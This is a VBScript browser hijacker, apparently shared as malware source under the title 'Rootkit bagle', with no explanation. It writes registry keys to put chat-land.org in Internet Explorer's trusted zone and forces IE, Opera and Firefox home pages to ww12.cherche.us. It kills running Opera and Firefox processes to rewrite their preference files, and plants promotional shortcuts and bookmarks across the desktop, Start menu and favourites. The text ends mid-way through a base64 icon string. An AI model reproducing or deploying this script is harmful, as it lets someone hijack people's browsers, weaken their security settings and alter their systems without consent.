Rootkit bagle

Voilà!!

On Error Resume Next
Set Shell = WScript.CreateObject("WScript.Shell")
Shell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\New Windows\Allow\*.chat-land.org",0, "REG_BINARY"
Shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\chat-land.org\*",2,"REG_DWORD"
Dim Shell, DesktopPath, URL, xx, fold, oFSO,oFld, doss, div
dim chemopera, qqop, ooop, mirop, plopop, ssop, chemstartop, mohstop, mirstop, fso, x
dim chemfir, fav, stRep, oFSOf, oFldf, pp, moh, mir, fsofir, xfav, chat, mohfav, mir0, mir1, mir2, mir3, ajout, fsofav, hahaha
set WshShell = WScript.CreateObject("WScript.Shell")
Set Shell = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
xx = shell.SpecialFolders("Favorites" )
doss = (xx & "\Chat-Land Privilèges")
Set oFld=oFSO.CreateFolder (doss)
div = (doss & "\Divertissements")
Set oFld=oFSO.CreateFolder (div)
DesktopPath = Shell.SpecialFolders("Desktop")
Set URL = Shell.CreateShortcut(DesktopPath & "\Chat-Land site de chat et de rencontre gratuit.URL")
URL.TargetPath = "https://tchatpassion.com/"
URL.Save
DesktopPath = shell.SpecialFolders("StartMenu")
Set URL = Shell.CreateShortcut(DesktopPath & "\Chat-Land site de chat et de rencontre gratuit.URL")
URL.TargetPath = "https://tchatpassion.com/"
URL.Save
DesktopPath = shell.SpecialFolders("Programs")
Set URL = Shell.CreateShortcut(DesktopPath & "\Chat-Land site de chat et de rencontre gratuit.URL")
URL.TargetPath = "https://tchatpassion.com/"
URL.Save
DesktopPath = shell.SpecialFolders("Favorites")
Set URL = Shell.CreateShortcut(DesktopPath & "\Chat-Land site de chat et de rencontre gratuit.URL")
URL.TargetPath = "https://tchatpassion.com/"
URL.Save
Set WshShell = WScript.CreateObject("WScript.Shell")
DesktopPath = wshshell.SpecialFolders(5) & "\Microsoft\Internet Explorer\Quick Launch"
Set URL = Shell.CreateShortcut(DesktopPath & "\Chat-Land site de chat et de rencontre gratuit.URL")
URL.TargetPath = "https://tchatpassion.com/"
URL.Save
Set oIE = CreateObject("InternetExplorer.Application")
Shell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://ww12.cherche.us"
Shell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL", "http://ww12.cherche.us"
Set fold = CreateObject("Scripting.FileSystemObject")
if fold.FolderExists(doss) = "Vrai" then
Set URL = Shell.CreateShortcut(doss & "\Chat-Land site de chat et de rencontre gratuit.URL")
URL.TargetPath = "https://tchatpassion.com/"
URL.Save
Set URL = Shell.CreateShortcut(doss & "\Chat-Land la connaissance à la portée de tous.URL")
URL.TargetPath = "http://medecine.chat-land.org/"
URL.Save
Set URL = Shell.CreateShortcut(doss & "\Chat-Land Forum Partager astuces et discuter en ligne.URL")
URL.TargetPath = "http://forum2.chat-land.org/"
URL.Save
Set URL = Shell.CreateShortcut(doss & "\Chat-Land Top miss & mister.URL")
URL.TargetPath = "http://www.chat-land.org/vip/top.php"
URL.Save
Set URL = Shell.CreateShortcut(doss & "\Chat-Land Partenaires.URL")
URL.TargetPath = "http://www.chat-land.org/topliste/"
URL.Save
Set URL = Shell.CreateShortcut(doss & "\Chat-Land Mon Album Photos.URL")
URL.TargetPath = "http://www.chat-land.org/photos/"
URL.Save
Set URL = Shell.CreateShortcut(doss & "\Chat-Land Trouver l'Elu(e).URL")
URL.TargetPath = "http://www.chat-land.org/vip/find.php"
URL.Save
Set URL = Shell.CreateShortcut(doss & "\Chat-Land Mail.URL")
URL.TargetPath = "http://webmail.chat-land.org/"
URL.Save
Set URL = Shell.CreateShortcut(doss & "\Chat-Land Ticket gagnant Jouez et gagnez.URL")
URL.TargetPath = "http://www.chat-land.org/ticket/"
URL.Save
Set URL = Shell.CreateShortcut(doss & "\Chat-Land Inscription gratuite VIP.URL")
URL.TargetPath = "http://www.chat-land.org/vip/register.php"
URL.Save
Set URL = Shell.CreateShortcut(doss & "\Chat-Land Inscription premium.URL")
URL.TargetPath = "http://www.chat-land.org/vip/premium2/authentification.php"
URL.Save
end if
Set fold = CreateObject("Scripting.FileSystemObject")
if fold.FolderExists(div) = "Vrai" then
Set URL = Shell.CreateShortcut(div & "\Chat-Land Videos Droles.URL")
URL.TargetPath = "http://videos.chat-land.org/"
URL.Save
Set URL = Shell.CreateShortcut(div & "\Chat-Land Jeux.URL")
URL.TargetPath = "http://jeux.chat-land.org/"
URL.Save
Set URL = Shell.CreateShortcut(div & "\Chat-Land fonds ecrans.URL")
URL.TargetPath = "http://fonds-ecrans.chat-land.org/"
URL.Save
Set URL = Shell.CreateShortcut(div & "\Chat-Land blagues.URL")
URL.TargetPath = "http://blagues.chat-land.org/"
URL.Save
Set URL = Shell.CreateShortcut(div & "\Chat-Land Paroles.URL")
URL.TargetPath = "http://paroles.chat-land.org/"
URL.Save
end if
Set WshShell = WScript.CreateObject("WScript.Shell")
sfop = sfop & WshShell.SpecialFolders(5)
chemopera = sfop & "\Opera\Opera\profile\"
dim foldop
Set foldop = CreateObject("Scripting.FileSystemObject")
if foldop.FolderExists(chemopera) = "Vrai" then
Set qqop = CreateObject("Scripting.FileSystemObject")
Set Ftxt = qqop.OpenTextFile(chemopera & "opera6.adr")
Do While Not Ftxt.AtEndOfStream
plopop = Ftxt.Readline
mirop = mirop & vbcrlf & plopop
if plopop = " NAME=Chat-land" then ooop = "1"
Loop
Ftxt.Close
if ooop = "1" then
else
Const ForWriting = 2
Set fso = CreateObject("Scripting.FileSystemObject")
Set ssop = fso.OpenTextFile(chemopera & "opera6.adr", ForWriting,true)
ssop.write mirop & vbcrlf &_
"#FOLDER" & VbCrLf &_
" ID=14" & VbCrLf &_
" NAME=Chat-Land Privileges" & VbCrLf &_
" CREATED=1227261952" & VbCrLf &_
" DESCRIPTION=Entrez le nom du nouveau dossier à créer dans 'Signets'. " & VbCrLf &_
" UNIQUEID=1A5C1390C45C5F4AB35B67F1B713B853" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=15" & VbCrLf &_
" NAME=Rencontre: Tchat Gratuit+Tchatche+Chat(NOUVEAU)! Rencontres" & VbCrLf &_
" URL=https://tchatpassion.com/" & VbCrLf &_
" CREATED=1227261937" & VbCrLf &_
" VISITED=1227262205" & VbCrLf &_
" DESCRIPTION=Rencontre Sur Un Tchat Gratuit, Tchatche Chat, Rencontres (NOUVEAU) ? Facile Rapide Gratuit Sympa sans inscription!" & VbCrLf &_
" UNIQUEID=814BDA56C4F77E44897D996031E1D39A" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=16" & VbCrLf &_
" NAME=Accueil - Encyclopedie Chat-land" & VbCrLf &_
" URL=http://medecine.chat-land.org/index.php/Accueil" & VbCrLf &_
" CREATED=1227261960" & VbCrLf &_
" DESCRIPTION=" & VbCrLf &_
" UNIQUEID=D70E26AB07954943AC403CDE1E6EBBC1" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=17" & VbCrLf &_
" NAME=http://www.chat-land.org/vip/premium2/authentification.php" & VbCrLf &_
" URL=http://www.chat-land.org/vip/premium2/authentification.php" & VbCrLf &_
" CREATED=1227261965" & VbCrLf &_
" ESCRIPTION=" & VbCrLf &_
" UNIQUEID=404660FE33F38C4C9792B950A506C4AC" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=18" & VbCrLf &_
" NAME=Chat-land VIP - Tes infos persos" & VbCrLf &_
" URL=http://www.chat-land.org/vip/register.php" & VbCrLf &_
" CREATED=1227261973" & VbCrLf &_
" VISITED=1227262503" & VbCrLf &_
" DESCRIPTION=Rencontre Sur Un Tchat Gratuit, Tchatche Chat, Rencontres (NOUVEAU) ?Facile Rapide Gratuit Sympa sans inscription!" & VbCrLf &_
" UNIQUEID=FD346A48F69FA34EB3F0AF59142FEF27" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=19" & VbCrLf &_
" NAME=Chat-Land - Ticket Gagnant" & VbCrLf &_
" URL=http://www.chat-land.org/ticket/" & VbCrLf &_
" CREATED=1227261979" & VbCrLf &_
" DESCRIPTION=ticket,gagnant,argent,cash,gagner des sous" & VbCrLf &_
" UNIQUEID=72D4A6563CFDBB46833F34D457FB43A1" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=20" & VbCrLf &_
" NAME=CHAT-LAND mail" & VbCrLf &_
" URL=http://webmail.chat-land.org/" & VbCrLf &_
" CREATED=1227261985" & VbCrLf &_
" DESCRIPTION=" & VbCrLf &_
" UNIQUEID=1272AABFCDABFB4EB99B1484BB578799" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=21" & VbCrLf &_
" NAME=Chat-Land - Recherche VIP" & VbCrLf &_
" URL=http://www.chat-land.org/vip/find.php" & VbCrLf &_
" CREATED=1227261990" & VbCrLf &_
" DESCRIPTION=Rencontre Sur Un Tchat Gratuit, Tchatche Chat, Rencontres (NOUVEAU) Facile Rapide Gratuit Sympa sans inscription!" & VbCrLf &_
" UNIQUEID=4082BA19D9F2924C8B46F1588A4F923D" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=22" & VbCrLf &_
" NAME=Chat-Land VIP - Album Photos" & VbCrLf &_
" URL=http://www.chat-land.org/photos/" & VbCrLf &_
" CREATED=1227261996" & VbCrLf &_
" VISITED=1227262499" & VbCrLf &_
" DESCRIPTION=Rencontre Sur Un Tchat Gratuit, Tchatche Chat, Rencontres (NOUVEAU) ?Facile Rapide Gratuit Sympa sans inscription!" & VbCrLf &_
" UNIQUEID=0933A57175E2B94694A61F12B294BD49" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=23" & VbCrLf &_
" NAME=Liens partenaires de tchat, chat, rencontres, dialogue et discussion directe" & VbCrLf &_
" URL=http://www.chat-land.org/topliste/" & VbCrLf &_
" CREATED=1227262008" & VbCrLf &_
" DESCRIPTION=Trouvez les meilleurs sites de tchat et de rencontres gratuit, chat-land votre partenaire de tchat" & VbCrLf &_
" UNIQUEID=A8D292EE315DE643A2A0CA4E512975CF" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=24" & VbCrLf &_
" NAME=Chat-Land - Top Miss et Mister- tchat et rencontre gratuit" & VbCrLf &_
" URL=http://www.chat-land.org/vip/top.php" & VbCrLf &_
" CREATED=1227262014" & VbCrLf &_
" DESCRIPTION=Inscription chat gratuit, tchat, rencontre et amour avec votre premier site de tchat et de rencontre gratuit " & VbCrLf &_
" UNIQUEID=E2FB0014BE2E6B4B819409B44E41C1FD" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=25" & VbCrLf &_
" NAME=Chat-Land Forums - édité par vBulletin" & VbCrLf &_
" URL=http://forum.chat-land.org/" & VbCrLf &_
" CREATED=1227262017" & VbCrLf &_
" DESCRIPTION=This is a discussion forum." & VbCrLf &_
" UNIQUEID=2FF53950CACBAF4A974A1F3FF42B770C" & VbCrLf & VbCrLf &_
"#FOLDER" & VbCrLf &_
" ID=26" & VbCrLf &_
" NAME=Divertissements" & VbCrLf &_
" CREATED=1227262235" & VbCrLf &_
" DESCRIPTION=Entrez le nom du nouveau dossier à créer dans 'Chat-land'. " & VbCrLf &_
" UNIQUEID=C3EFE598CA20BB44960FA693E89A1150" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=27" & VbCrLf &_
" NAME=Chat-Land - Paroles de Chansons" & VbCrLf &_
" URL=http://paroles.chat-land.org/" & VbCrLf &_
" CREATED=1227262225" & VbCrLf &_
" DESCRIPTION=" & VbCrLf &_
" UNIQUEID=CF708F11F2D4C34BAB9A5A67B43C0A95" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=28" & VbCrLf &_
" NAME=Chat-Land - Vidéos drôles" & VbCrLf &_
" URL=http://videos.chat-land.org/" & VbCrLf &_
" CREATED=1227262242" & VbCrLf &_
" DESCRIPTION=" & VbCrLf &_
" UNIQUEID=4BEBC14DD7276A49B3F2B3DA72F3A381" & VbCrLf &_
"#URL" & VbCrLf &_
" ID=29" & VbCrLf &_
" NAME=Chat-Land - Fond écran" & VbCrLf &_
" URL=http://fonds-ecrans.chat-land.org/" & VbCrLf &_
" CREATED=1227262246" & VbCrLf &_
" VISITED=1227262485" & VbCrLf &_
" DESCRIPTION=" & VbCrLf &_
" UNIQUEID=5D26E5646FBB2A4CB92C2236C26241B8" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=30" & VbCrLf &_
" NAME=Chat-Land - Jeux" & VbCrLf &_
" URL=http://jeux.chat-land.org/?session_id=4bd6d5b502b6ab23ef46930bfbdcca3b" & VbCrLf &_
" CREATED=1227262250" & VbCrLf &_
" DESCRIPTION=" & VbCrLf &_
" UNIQUEID=8A500AA69DFF4A46A7953E23D2019F18" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=31" & VbCrLf &_
" NAME=tchat, rencontres gratuites et sans inscription, divertissements, blagues et jeux diverses" & VbCrLf &_
" URL=http://blagues.chat-land.org/" & VbCrLf &_
" CREATED=1227262253" & VbCrLf &_
" DESCRIPTION=Rencontre, chat et divertissements avec chat-land, le 1er site mondiale de tchat et de rencontres" & VbCrLf &_
" UNIQUEID=99EA9EB4D3049C4086EC11E8F0DA7189" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=32" & VbCrLf &_
" NAME=Rurique en maintenance" & VbCrLf &_
" URL=http://www.chat-land.org/rubrique_maintenance.html" & VbCrLf &_
" CREATED=1227262258" & VbCrLf &_
" DESCRIPTION=" & VbCrLf &_
" UNIQUEID=DB4852A524C0064EBD383A259987BB4A" & VbCrLf & VbCrLf &_
"-" & VbCrLf & VbCrLf &_
"-" & VbCrLf & VbCrLf &_
"#URL" & VbCrLf &_
" ID=40" & VbCrLf &_
" NAME=Rencontre: Tchat Gratuit+Tchatche+Chat(NOUVEAU)! Rencontres" & VbCrLf &_
" URL=https://tchatpassion.com/" & VbCrLf &_
" CREATED=1227354729" & VbCrLf &_
" DESCRIPTION=Rencontre Sur Un Tchat Gratuit, Tchatche Chat, Rencontres (NOUVEAU) ? Facile Rapide Gratuit Sympa sans inscription!" & VbCrLf &_
" UNIQUEID=54A6F4D684D9464C8D5AF854FDBAFF83" & VbCrLf
ssop.close
end if
Set WshShell = WScript.CreateObject("WScript.Shell")
sfstop = sfstop & WshShell.SpecialFolders(5)
chemstartop = sfstop & "\Opera\Opera\profile\"
strNewstop = "Home URL="
Set mohstop = CreateObject("Scripting.FileSystemObject")
Set Ftxt = mohstop.OpenTextFile(chemstartop & "opera6.ini")
Do While Not Ftxt.AtEndOfStream
plop = Ftxt.Readline
if mid(plop,1,9) = strNewstop then
mirstop = mirstop & vbCrLf & plop & vbCrLf & "Home URL=http://ww12.cherche.us"
else
mirstop = mirstop & vbCrLf & plop
end if
Loop
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'opera.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Ftxt.Close
Set fso = CreateObject("Scripting.FileSystemObject")
Set x = fso.OpenTextFile(chemstartop & "opera6.ini", ForWriting,true)
x.write mirstop
x.close
end if
Set WshShell = WScript.CreateObject("WScript.Shell")
sf = sf & WshShell.SpecialFolders(5)
chemfir = sf & "\Mozilla\Firefox\Profiles\"
Set oFSOf = CreateObject("Scripting.FileSystemObject")
stRep = chemfir
If oFSOf.FolderExists(stRep) Then
For each oFldf in oFSOf.GetFolder(stRep).SubFolders
pp = oFldf.name
Next
End If
hahaha = chemfir & pp
fav = chemfir & pp & "\bookmarks.html"
chemfir = chemfir & pp & "\prefs.js"
dim foldfir
Set foldfir = CreateObject("Scripting.FileSystemObject")
if foldfir.FolderExists(hahaha) = "Vrai" then
strNew = "user_pref(""browser.startup.homepage"""
Set moh = CreateObject("Scripting.FileSystemObject")
Set Ftxt = moh.OpenTextFile(chemfir)
Do While Not Ftxt.AtEndOfStream
plop = Ftxt.Readline
if mid(plop,1,36) = strnew then
else
mir = mir & vbCrLf & plop
end if
Loop
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'firefox.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Ftxt.Close
chat = "user_pref(""browser.startup.homepage"", ""http://ww12.cherche.us""); "
Set fsofir = CreateObject("Scripting.FileSystemObject")
Set xf = fsofir.OpenTextFile(chemfir, ForWriting,true)
xf.write mir & vbCrLf & chat
xf.close
mir0 = 0
strNew = "<DL><p>"
Set mohfav = CreateObject("Scripting.FileSystemObject")
Set Ftxt = mohfav.OpenTextFile(fav)
Do While Not Ftxt.AtEndOfStream
plop = Ftxt.Readline
if plop = strnew then mir0 = 1
if mir0 = 0 then mir1 = mir1 & vbCrLf & plop
if mir0 = 1 then mir2 = plop: mir0 = 2
if mir0 = 2 then mir3 = mir3 & vbCrLf & plop
Loop
ajout = "<DT><H3 ADD_DATE=""1227117220"" LAST_MODIFIED=""1227117899"" ID=""rdf:#$QYUbW1"">Chat-Land Privileges</H3>" & vbCrLf &_
"<DD>Site de chat et rencontre gratuit" & vbCrLf &_
"<DL><p>" & vbCrLf &_
"<DT><A HREF=""http://forum.chat-land.org/"" ADD_DATE=""1227117345"" LAST_VISIT=""1227172822"" ICON=""data:image/x-icon;base64,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